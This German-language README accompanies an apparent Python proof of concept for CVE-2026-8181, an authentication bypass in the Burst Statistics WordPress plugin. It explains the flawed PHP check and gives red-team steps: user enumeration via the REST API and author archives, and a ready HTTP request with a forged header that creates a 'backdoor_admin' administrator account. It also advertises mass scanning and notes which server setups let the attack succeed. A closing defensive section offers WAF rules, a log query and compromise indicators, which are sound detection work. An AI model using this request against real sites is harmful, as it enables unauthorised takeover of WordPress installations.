
Python PoC für CVE-2026-8181, einen kritischen Authentifizierungs-Bypass im Burst Statistics WordPress-Plugin. Beinhaltet Exploit-Automatisierung, Massenscan und Erstellung von Administratorkonten für autorisierte Sicherheitstests.
[!CAUTION] KRITISCHER HINWEIS: Diese Schwachstelle ermöglicht es einem nicht authentifizierten entfernten Angreifer, die Authentifizierung zu umgehen und volle Administratorrechte auf der Ziel-WordPress-Seite zu erlangen, indem er lediglich einen benutzerdefinierten HTTP-Header injiziert. Diese CVE wird derzeit aktiv in freier Wildbahn ausgenutzt.
CVE-2026-8181 ist eine kritische Authentifizierungsumgehung-Schwachstelle, die das Burst Statistics WordPress-Plugin (Versionen 3.4.0 bis 3.4.1.1) betrifft. Der Fehler liegt in der MainWP-Proxy-Integration des Plugins. Aufgrund einer unzureichenden Validierung von Anwendungspasswörtern während des frühen plugins_loaded-Hooks gewährt das Plugin fälschlicherweise Administratorkontext für REST-API-Anfragen, die den X-BurstMainWP: 1-Header enthalten, selbst wenn die Anfrage keine gültigen Anmeldedaten enthält.
Dadurch wird eine einfache, nicht authentifizierte HTTP-Anfrage in eine vollständige administrative Übernahme umgewandelt, die alle Standard-WordPress-Authentifizierungsmechanismen umgeht.
Um zu verstehen, wie ein einfacher Header die Schlüssel zum Königreich gewährt, müssen wir die PHP-Logik im Authentifizierungs-Handler des Plugins analysieren.
Die Schwachstelle resultiert aus einem fehlerhaft behandelten bedingten Zweig in includes/Frontend/class-mainwp-proxy.php innerhalb der Methode is_mainwp_authenticated().
init() auf plugins_loaded mit Priorität 9. Dies ist zu früh im WordPress-Lebenszyklus.X-BurstMainWP: 1 trägt, delegiert has_admin_access() die Authentifizierung an is_mainwp_authenticated().Authorization-Header und leitet die Anmeldedaten an die WordPress-Kernfunktion wp_authenticate_application_password() weiter.application_password_is_api_request noch nicht auf true gesetzt hat (aufgrund der frühen Hook-Ausführung), gibt die Kernfunktion null statt eines WP_Error-Objekts zurück.is_wp_error( $user ). Da null kein WP_Error ist, wird die Sicherheitsabfrage passiert.wp_set_current_user() mit einem angreifergesteuerten Benutzernamen auf und hebt die Anfrage sofort auf vollen Administratorkontext.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Dieser Abschnitt ist für Red Teamer und autorisierte Penetrationstester.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users preis. Falls blockiert, den Author-Archive-Trick verwenden: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null-Prüfung und stuft die Anfrage auf Administratorkontext hoch. Der neue Admin-Benutzer wird erstellt.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Umgebungshinweis: Dieser Exploit erfordert, dass der
Authorization-Header PHP erreicht.
- Nginx / LiteSpeed / Apache mit Pretty Permalinks: Der Header wird weitergeleitet. Exploit ERFOLGREICH.
- Apache mit Plain Permalinks (Standard): Der Header wird vom Webserver stillschweigend entfernt. Exploit FEHLGESCHLAGEN.
Dieser Abschnitt ist für Blue Teamer, SOC-Analysten und Systemadministratoren.
Den spezifischen Header am Edge blockieren oder überwachen.
ModSecurity / OWASP CRS-Regel:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF-Benutzerdefinierte Regel:
(http.request.headers["X-BurstMainWP"] eq "1")
Durchsuchen Sie Ihre Webserver-Logs nach dem Vorhandensein des Headers in Kombination mit der REST-API-Benutzererstellung.
Splunk / ELK-Abfrage:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Wenn Sie einen Einbruch vermuten, suchen Sie nach diesen Artefakten nach der Ausnutzung:
wp_users-Tabelle auf Benutzer, die über die REST-API mit der Rolle administrator erstellt wurden.wp-content/plugins/ auf nicht autorisierte Uploads (oft Webshells, die als legitime Plugins getarnt sind).wp-content/themes/ oder Kern-Dateien auf nicht autorisierte Änderungen.